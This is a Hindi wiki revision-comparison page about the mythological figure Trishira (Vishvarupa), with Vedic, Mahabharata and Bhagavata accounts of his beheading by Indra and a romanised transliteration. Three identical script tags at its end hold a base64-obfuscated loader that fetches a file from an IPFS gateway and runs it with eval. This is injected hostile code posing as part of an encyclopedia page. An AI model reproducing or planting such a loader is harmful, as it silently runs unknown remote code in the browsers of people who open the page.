Difference between revisions of "त्रिशिरा"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "==अन्य लिंक==" to "==सम्बंधित लिंक==")
m (Text replacement - "करनेवाला" to "करने वाला")
 
(10 intermediate revisions by 4 users not shown)
Line 1: Line 1:
{{tocright}}
+
'''त्रिशिरा''' अथवा '''त्रिशिख''' लंकापति [[रावण]] के एक पुत्र का नाम है।<ref>पुस्तक- पौराणिक कोश, लेखक- राणा प्रसाद शर्मा, पृष्ठ संख्या- 209</ref> सूत्रद्रष्टा त्रिशिरा के तीन सिर थे। वह एक मुंह से सुरापान, दूसरे से सोमपान और तीसरे से अन्न ग्रहण करता था। वह त्वष्ट्र का पुत्र होने के कारण त्वांष्ट्र भी कहलाया। उसकी माँ असुरों की बहन थी, अत: त्रिशिरा देवपुरोहित होते हुए भी असुरों से अधिक प्रेम करता था। एक बार [[इन्द्र]] ने सोचा कि त्रिशिरा को असुर-पुरोहित बनाना असुरों की चाल है, अत: उन्होंने उसके तीनों सिरों को काट डाला। सोमपान करने वाला मुख गिरते ही 'कपिंजल' पक्षी बन गया। सुरापान वाला मुंह 'कलविड्क' (चिड़िया) बन गया और अन्न ग्रहण करने वाला 'तित्तिर' पक्षी बन गया। इन्द्र पर ब्रह्महत्या का दोष लग गया। इन्द्र ने अपना पाप तीन भागों में विभक्त कर पृथ्वी, वृक्ष तथा स्त्रियों में स्थापित कर दिया, अत: [[पृथ्वी देवी|पृथ्वी]] में सड़ने का, वृक्षों में गिरने का और स्त्रियों में रजस्वला का दोष उत्पन्न हो गया। इन्द्र के पातक को दूर करने के लिए सिंधु द्वीप के बांबरीष ऋषि ने जल अभिसिंचित किया। अभिषिक्त जल इन्द्र की मूर्धा पर डालकर इन्द्र की मलिनता को शुद्ध किया गया। <ref>ऋग्वेद, 10।8-9, ता0 ब्रा0 17।5।1<br />
सूत्रद्रष्टा त्रिशिरा के तीन सिर थे। वह एक मुंह से सुरापान, दूसरे से सोमपान और तीसरे से अन्न ग्रहण करता था। वह त्वष्ट्र का पुत्र होने के कारण त्वांष्ट्र भी कहलाया। उसकी मां असुरों की बहन थी, अत: त्रिशिरा देवपुरोहित होते हुए भी असुरों से अधिक प्रेम करता था। एक बार [[इन्द्र]] ने सोचा कि त्रिशिरा को असुर-पुरोहित बनाना असुरों की चाल है, अत: उन्होंने उसके तीनों सिरों को काट डाला। सोमपान करने वाला मुख गिरते ही 'कपिंजल' पक्षी बन गया। सुरापान वाला मुंह 'कलविड्क' (चिड़िया) बन गया और अन्न ग्रहण करनेवाला 'तित्तिर' पक्षी बन गया। इन्द्र पर ब्रह्महत्या का दोष लग गया। इन्द्र ने अपना पाप तीन भागों में विभक्त कर पृथ्वी, वृक्ष तथा स्त्रियों में स्थापित कर दिया, अत: [[पृथ्वी देवी|पृथ्वी]] में सड़ने का, वृक्षों में गिरने का और स्त्रियों में रजस्वला का दोष उत्पन्न हो गया। इन्द्र के पातक को दूर करने के लिए सिंधु द्वीप के बांबरीष ऋषि ने जल अभिसिंचित किया। अभिषिक्त जल इन्द्र की मूर्धा पर डालकर इन्द्र की मलिनता को शुद्ध किया गया। <ref>ऋग्वेद, 10।8-9, ता0 ब्रा0 17।5।1<br />
 
 
जै0ब्रा0 2।135, 2।153-154</ref>
 
जै0ब्रा0 2।135, 2।153-154</ref>
 
==महाभारत के अनुसार==
 
==महाभारत के अनुसार==
त्वष्टा नामक प्रसिद्ध देवता की इन्द्र के प्रति द्रोह बुद्धि हो गयी। अत: त्वष्टा ने एक तीन सिरवाले (त्रिशिरा) विश्वरूप नामक बालक को जन्म दिया। वह तेजस्वी था, इन्द्र का स्थान प्राप्त करने की प्रार्थना करता था। आरंभ में वह यज्ञ का होता बनकर देवताओं को प्रत्यक्ष तथा असुरों का भांजा था। अत: [[हिरण्यकशिपु]] को आगे करके समस्त असुर उसकी मां के पास पहुंचे और उसे अपने पुत्र को समझाने के लिए कहने लगे क्योंकि [[देवता|देवताओं]] की वृद्धि और असुरों का क्षय होता जा रहा था। मां की आज्ञा अलंघनीय मानकर विश्वरूप ने राजा हिरण्यकशिपु के पुरोहित का स्थान ग्रहण किया। राजा के पूर्व पुरोहित, [[वसिष्ठ]] ने क्रोधवश शाप दिया कि वह (राजा) यज्ञपूर्ति से पूर्व ही किसी अभूतपूर्व प्राणी के हाथों मारा जायेगा। ऐसा ही होने पर विश्वरूप देवताओं का चिर विरोधी बन गया। वह एक मुख से [[वेद|वेदों]] का स्वाध्याय, दूसरे से सुरापान करता था तथा तीसरे से समस्त दिशाओं को ऐसे देखता था जैसे उन्हें पी जायेगा। साथ ही अन्न भक्षण भी करता था। इन्द्र ने भयभीत होकर अप्सराओं को उसकी तपस्या भंग करने के लिए भेजा। त्रिशिरा में इससे कोई विकार उत्पन्न नहीं हुआ, तो इन्द्र ने अपने वज्र से उसकी हत्या कर दी, फिर भी उसे संतोष नहीं हुआ। एक बढ़ई से इन्द्र ने उसके तीनों सिरों को खंडित करवाया। तीनों सिर कटने पर जिस मुंह से वह वेदपाठ करता था, उससे 'कपिंजल' पक्षी; जिससे सुरापान करता था, उससे 'गौरैये' तथा जिससे दिशाओं को देखता था, उससे 'तीतर' पक्षी प्रकट हुए। इन्द्र ने इस ब्रह्महत्या को एक वर्ष तक छिपाकर रखा, फिर समुद्र, पृथ्वी, वृक्ष तथा स्त्री समुदाय में ब्रह्महत्या के पाप को बांटकर स्वयं शुद्ध हो गया। <ref>महाभारत, [[उद्योग पर्व महाभारत|उद्योगपर्व]], अध्याय 9 । श्लोक 1 से 44 तक, शांतिपर्व, अ0 342।27-42।–</ref>
+
त्वष्टा नामक प्रसिद्ध देवता की इन्द्र के प्रति द्रोह बुद्धि हो गयी। अत: त्वष्टा ने एक तीन सिरवाले (त्रिशिरा) विश्वरूप नामक बालक को जन्म दिया। वह तेजस्वी था, इन्द्र का स्थान प्राप्त करने की प्रार्थना करता था। आरंभ में वह यज्ञ का होता बनकर देवताओं को प्रत्यक्ष तथा असुरों का भांजा था। अत: [[हिरण्यकशिपु]] को आगे करके समस्त असुर उसकी माँ के पास पहुंचे और उसे अपने पुत्र को समझाने के लिए कहने लगे क्योंकि [[देवता|देवताओं]] की वृद्धि और असुरों का क्षय होता जा रहा था। माँ की आज्ञा अलंघनीय मानकर विश्वरूप ने राजा हिरण्यकशिपु के पुरोहित का स्थान ग्रहण किया। राजा के पूर्व पुरोहित, [[वसिष्ठ]] ने क्रोधवश शाप दिया कि वह (राजा) यज्ञपूर्ति से पूर्व ही किसी अभूतपूर्व प्राणी के हाथों मारा जायेगा। ऐसा ही होने पर विश्वरूप देवताओं का चिर विरोधी बन गया। वह एक मुख से [[वेद|वेदों]] का स्वाध्याय, दूसरे से सुरापान करता था तथा तीसरे से समस्त दिशाओं को ऐसे देखता था जैसे उन्हें पी जायेगा। साथ ही अन्न भक्षण भी करता था। इन्द्र ने भयभीत होकर अप्सराओं को उसकी तपस्या भंग करने के लिए भेजा। त्रिशिरा में इससे कोई विकार उत्पन्न नहीं हुआ, तो इन्द्र ने अपने वज्र से उसकी हत्या कर दी, फिर भी उसे संतोष नहीं हुआ। एक बढ़ई से इन्द्र ने उसके तीनों सिरों को खंडित करवाया। तीनों सिर कटने पर जिस मुंह से वह वेदपाठ करता था, उससे 'कपिंजल' पक्षी; जिससे सुरापान करता था, उससे 'गौरैये' तथा जिससे दिशाओं को देखता था, उससे 'तीतर' पक्षी प्रकट हुए। इन्द्र ने इस ब्रह्महत्या को एक वर्ष तक छिपाकर रखा, फिर समुद्र, पृथ्वी, वृक्ष तथा स्त्री समुदाय में ब्रह्महत्या के पाप को बांटकर स्वयं शुद्ध हो गया। <ref>महाभारत, [[उद्योग पर्व महाभारत|उद्योगपर्व]], अध्याय 9 । श्लोक 1 से 44 तक, शांतिपर्व, अ0 342।27-42।–</ref>
  
 
==भागवत के अनुसार==
 
==भागवत के अनुसार==
*इन्द्र को अपनी शक्ति का मद हो गया था। एक बार उनकी सभा में बृहस्पति पहुंचे तो उन्हें उचित सम्मान नहीं मिला। [[बृहस्पति]] देवताओं का साथ छोड़कर अंतर्धान हो गयें फलस्वरूप [[शुक्राचार्य]] से आदिष्ट असुर बलवान होकर युद्ध विजयी होने लगे। देवता [[ब्रह्मा]] की सलाह से त्वष्टा के पुत्र विश्वरूप की शरण में गये। उनकी नीति का पालन करके देवताओं ने पुन: विजय प्राप्त की। विश्वरूप के तीन सिर थे। उनके पिता देवता तथा मां असुरों से संबद्ध थीं अत: वे लुक-छिपकर असुरों को भी आहुति दिया करते थे। इन्द्र को पता चला तो उसने उनके तीनों सिर काट डाले। विश्वरूप का सोमरस पान करनेवाला मुंह 'पपीहा', सुरापान करनेवाला 'गौरैया' तथा अन्न खानेवाला 'तीतर' हो गया। इन्द्र को ब्रह्महत्या का दोष लगा, जिसे स्त्री, पृथ्वी, जल और वृक्षों ने परस्पर बांटकर इन्द्र को दोष-मुक्त कर दिया। <ref> श्रीमद् भागवत, षष्ठ स्कंध, अध्याय 7-9</ref>
+
*इन्द्र को अपनी शक्ति का मद हो गया था। एक बार उनकी सभा में बृहस्पति पहुंचे तो उन्हें उचित सम्मान नहीं मिला। [[बृहस्पति ऋषि|बृहस्पति]] देवताओं का साथ छोड़कर अंतर्धान हो गयें फलस्वरूप [[शुक्राचार्य]] से आदिष्ट असुर बलवान होकर युद्ध विजयी होने लगे। देवता [[ब्रह्मा]] की सलाह से त्वष्टा के पुत्र विश्वरूप की शरण में गये। उनकी नीति का पालन करके देवताओं ने पुन: विजय प्राप्त की। विश्वरूप के तीन सिर थे। उनके पिता देवता तथा माँ असुरों से संबद्ध थीं अत: वे लुक-छिपकर असुरों को भी आहुति दिया करते थे। इन्द्र को पता चला तो उसने उनके तीनों सिर काट डाले। विश्वरूप का सोमरस पान करने वाला मुंह 'पपीहा', सुरापान करने वाला 'गौरैया' तथा अन्न खानेवाला 'तीतर' हो गया। इन्द्र को ब्रह्महत्या का दोष लगा, जिसे स्त्री, पृथ्वी, जल और वृक्षों ने परस्पर बांटकर इन्द्र को दोष-मुक्त कर दिया। <ref> श्रीमद् भागवत, षष्ठ स्कंध, अध्याय 7-9</ref>
 
*[[विश्वकर्मा]] देवताओं का प्रिय शिल्पी था। उसने [[इन्द्र]] के प्रति विद्वेष के कारण परम् रूपवान त्रिशिरा (विश्वरूप) नामक पुत्र को उत्पन्न किया। उसके तीन मुख थे। एक से वह [[वेद]] पढ़ता था, दूसरे से सुरापान करता था तथा तीसरे से समस्त विशाएं देखता था। वह घोर तपस्या करने लगा। ग्रीष्म में वह पेड़ से उलटा लटककर तथा शीत में पानी में निवास करते हुए तपस्या करता था। इन्द्र को भय हुआ कि कहीं वह इन्द्रासन न प्राप्त कर ले, अत: उसने [[उर्वशी]] आदि अप्सराओं को उसकी तपस्या भंग करने के लिए भेजा। वे असफल होकर लौट आयीं। इन्द्र ने क्रुद्ध होकर अपने वज्र से त्रिशिरा का सिर काट डाला। मुनि भूमि पर गिरकर भी तेजस्वी जीवित-सा जान पड़ रहा था, अत: इन्द्र ने तक्ष (बढ़ई) को यज्ञ में, सदा पशु का सिर देने का, लालच देकर उसके कुठार से त्रिशिरा के तीनों मस्तकों का छेदन करवाया। तत्काल तीनों मुखों से-<br />
 
*[[विश्वकर्मा]] देवताओं का प्रिय शिल्पी था। उसने [[इन्द्र]] के प्रति विद्वेष के कारण परम् रूपवान त्रिशिरा (विश्वरूप) नामक पुत्र को उत्पन्न किया। उसके तीन मुख थे। एक से वह [[वेद]] पढ़ता था, दूसरे से सुरापान करता था तथा तीसरे से समस्त विशाएं देखता था। वह घोर तपस्या करने लगा। ग्रीष्म में वह पेड़ से उलटा लटककर तथा शीत में पानी में निवास करते हुए तपस्या करता था। इन्द्र को भय हुआ कि कहीं वह इन्द्रासन न प्राप्त कर ले, अत: उसने [[उर्वशी]] आदि अप्सराओं को उसकी तपस्या भंग करने के लिए भेजा। वे असफल होकर लौट आयीं। इन्द्र ने क्रुद्ध होकर अपने वज्र से त्रिशिरा का सिर काट डाला। मुनि भूमि पर गिरकर भी तेजस्वी जीवित-सा जान पड़ रहा था, अत: इन्द्र ने तक्ष (बढ़ई) को यज्ञ में, सदा पशु का सिर देने का, लालच देकर उसके कुठार से त्रिशिरा के तीनों मस्तकों का छेदन करवाया। तत्काल तीनों मुखों से-<br />
 
(1) कलविंक (सुरापान करने वाले मुख से), <br />
 
(1) कलविंक (सुरापान करने वाले मुख से), <br />
 
(2) तीतर (समस्त दिशादर्शी मुख से) तथा <br />
 
(2) तीतर (समस्त दिशादर्शी मुख से) तथा <br />
 
(3) कपिंजल (वेदाभ्यासी मुख से) आविर्भूत हुए।<br />  
 
(3) कपिंजल (वेदाभ्यासी मुख से) आविर्भूत हुए।<br />  
इन्द्र प्रसन्न होकर चला गया। विश्वकर्मा ने दुर्घटना के विषय में जाना तो पुत्रोत्पत्ति के निमित्त यज्ञ करने लगा। यज्ञ से तपस्वी पुत्र पाकर विश्वकर्मा ने उसे अपना समस्त बल और तेज प्रदान किया। पर्वतवत विशाल उस पुत्र का नाम वृत्र रखा क्योंकि वह दु:ख से रक्षा करने के लिए निमित्त उत्पन्न किया गया था।  
+
इन्द्र प्रसन्न होकर चला गया। विश्वकर्मा ने दुर्घटना के विषय में जाना तो पुत्रोत्पत्ति के निमित्त यज्ञ करने लगा। यज्ञ से तपस्वी पुत्र पाकर विश्वकर्मा ने उसे अपना समस्त बल और तेज़ प्रदान किया। पर्वतवत विशाल उस पुत्र का नाम वृत्र रखा क्योंकि वह दु:ख से रक्षा करने के लिए निमित्त उत्पन्न किया गया था।  
 
<ref>भागवत, 6।1।29, 6।2।–</ref>
 
<ref>भागवत, 6।1।29, 6।2।–</ref>
  
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
<br />
+
==संबंधित लेख==
==सम्बंधित लिंक==
+
{{पौराणिक चरित्र}}{{रामायण}}  
{{महाभारत}}
+
[[Category:पौराणिक चरित्र]]
 
+
[[Category:पौराणिक कोश]][[Category:रामायण]]
[[Category:पौराणिक कोश]]
+
[[Category:प्रसिद्ध चरित्र और मिथक कोश]]
[[Category:महाभारत]][[Category:प्रसिद्ध चरित्र और मिथक कोश]]
 
 
__INDEX__
 
__INDEX__

Latest revision as of 13:53, 6 September 2017

trishira athava trishikh lankapati ravan ke ek putr ka nam hai.[1] sootradrashta trishira ke tin sir the. vah ek muanh se surapan, doosare se somapan aur tisare se ann grahan karata tha. vah tvashtr ka putr hone ke karan tvaanshtr bhi kahalaya. usaki maan asuroan ki bahan thi, at: trishira devapurohit hote hue bhi asuroan se adhik prem karata tha. ek bar indr ne socha ki trishira ko asur-purohit banana asuroan ki chal hai, at: unhoanne usake tinoan siroan ko kat dala. somapan karane vala mukh girate hi 'kapianjal' pakshi ban gaya. surapan vala muanh 'kalavidk' (chi diya) ban gaya aur ann grahan karane vala 'tittir' pakshi ban gaya. indr par brahmahatya ka dosh lag gaya. indr ne apana pap tin bhagoan mean vibhakt kar prithvi, vriksh tatha striyoan mean sthapit kar diya, at: prithvi mean s dane ka, vrikshoan mean girane ka aur striyoan mean rajasvala ka dosh utpann ho gaya. indr ke patak ko door karane ke lie siandhu dvip ke baanbarish rrishi ne jal abhisianchit kiya. abhishikt jal indr ki moordha par dalakar indr ki malinata ko shuddh kiya gaya. [2]

mahabharat ke anusar

tvashta namak prasiddh devata ki indr ke prati droh buddhi ho gayi. at: tvashta ne ek tin siravale (trishira) vishvaroop namak balak ko janm diya. vah tejasvi tha, indr ka sthan prapt karane ki prarthana karata tha. aranbh mean vah yajn ka hota banakar devataoan ko pratyaksh tatha asuroan ka bhaanja tha. at: hiranyakashipu ko age karake samast asur usaki maan ke pas pahuanche aur use apane putr ko samajhane ke lie kahane lage kyoanki devataoan ki vriddhi aur asuroan ka kshay hota ja raha tha. maan ki ajna alanghaniy manakar vishvaroop ne raja hiranyakashipu ke purohit ka sthan grahan kiya. raja ke poorv purohit, vasishth ne krodhavash shap diya ki vah (raja) yajnapoorti se poorv hi kisi abhootapoorv prani ke hathoan mara jayega. aisa hi hone par vishvaroop devataoan ka chir virodhi ban gaya. vah ek mukh se vedoan ka svadhyay, doosare se surapan karata tha tatha tisare se samast dishaoan ko aise dekhata tha jaise unhean pi jayega. sath hi ann bhakshan bhi karata tha. indr ne bhayabhit hokar apsaraoan ko usaki tapasya bhang karane ke lie bheja. trishira mean isase koee vikar utpann nahian hua, to indr ne apane vajr se usaki hatya kar di, phir bhi use santosh nahian hua. ek badhee se indr ne usake tinoan siroan ko khandit karavaya. tinoan sir katane par jis muanh se vah vedapath karata tha, usase 'kapianjal' pakshi; jisase surapan karata tha, usase 'gauraiye' tatha jisase dishaoan ko dekhata tha, usase 'titar' pakshi prakat hue. indr ne is brahmahatya ko ek varsh tak chhipakar rakha, phir samudr, prithvi, vriksh tatha stri samuday mean brahmahatya ke pap ko baantakar svayan shuddh ho gaya. [3]

bhagavat ke anusar

  • indr ko apani shakti ka mad ho gaya tha. ek bar unaki sabha mean brihaspati pahuanche to unhean uchit samman nahian mila. brihaspati devataoan ka sath chho dakar aantardhan ho gayean phalasvaroop shukrachary se adisht asur balavan hokar yuddh vijayi hone lage. devata brahma ki salah se tvashta ke putr vishvaroop ki sharan mean gaye. unaki niti ka palan karake devataoan ne pun: vijay prapt ki. vishvaroop ke tin sir the. unake pita devata tatha maan asuroan se sanbaddh thian at: ve luk-chhipakar asuroan ko bhi ahuti diya karate the. indr ko pata chala to usane unake tinoan sir kat dale. vishvaroop ka somaras pan karane vala muanh 'papiha', surapan karane vala 'gauraiya' tatha ann khanevala 'titar' ho gaya. indr ko brahmahatya ka dosh laga, jise stri, prithvi, jal aur vrikshoan ne paraspar baantakar indr ko dosh-mukt kar diya. [4]
  • vishvakarma devataoan ka priy shilpi tha. usane indr ke prati vidvesh ke karan paramh roopavan trishira (vishvaroop) namak putr ko utpann kiya. usake tin mukh the. ek se vah ved padhata tha, doosare se surapan karata tha tatha tisare se samast vishaean dekhata tha. vah ghor tapasya karane laga. grishm mean vah pe d se ulata latakakar tatha shit mean pani mean nivas karate hue tapasya karata tha. indr ko bhay hua ki kahian vah indrasan n prapt kar le, at: usane urvashi adi apsaraoan ko usaki tapasya bhang karane ke lie bheja. ve asaphal hokar laut ayian. indr ne kruddh hokar apane vajr se trishira ka sir kat dala. muni bhoomi par girakar bhi tejasvi jivit-sa jan p d raha tha, at: indr ne taksh (badhee) ko yajn mean, sada pashu ka sir dene ka, lalach dekar usake kuthar se trishira ke tinoan mastakoan ka chhedan karavaya. tatkal tinoan mukhoan se-

(1) kalaviank (surapan karane vale mukh se),
(2) titar (samast dishadarshi mukh se) tatha
(3) kapianjal (vedabhyasi mukh se) avirbhoot hue.
indr prasann hokar chala gaya. vishvakarma ne durghatana ke vishay mean jana to putrotpatti ke nimitt yajn karane laga. yajn se tapasvi putr pakar vishvakarma ne use apana samast bal aur tez pradan kiya. parvatavat vishal us putr ka nam vritr rakha kyoanki vah du:kh se raksha karane ke lie nimitt utpann kiya gaya tha. [5]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. pustak- pauranik kosh, lekhak- rana prasad sharma, prishth sankhya- 209
  2. rrigved, 10.8-9, ta0 bra0 17.5.1
    jai0bra0 2.135, 2.153-154
  3. mahabharat, udyogaparv, adhyay 9 . shlok 1 se 44 tak, shaantiparv, a0 342.27-42.–
  4. shrimadh bhagavat, shashth skandh, adhyay 7-9
  5. bhagavat, 6.1.29, 6.2.–

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>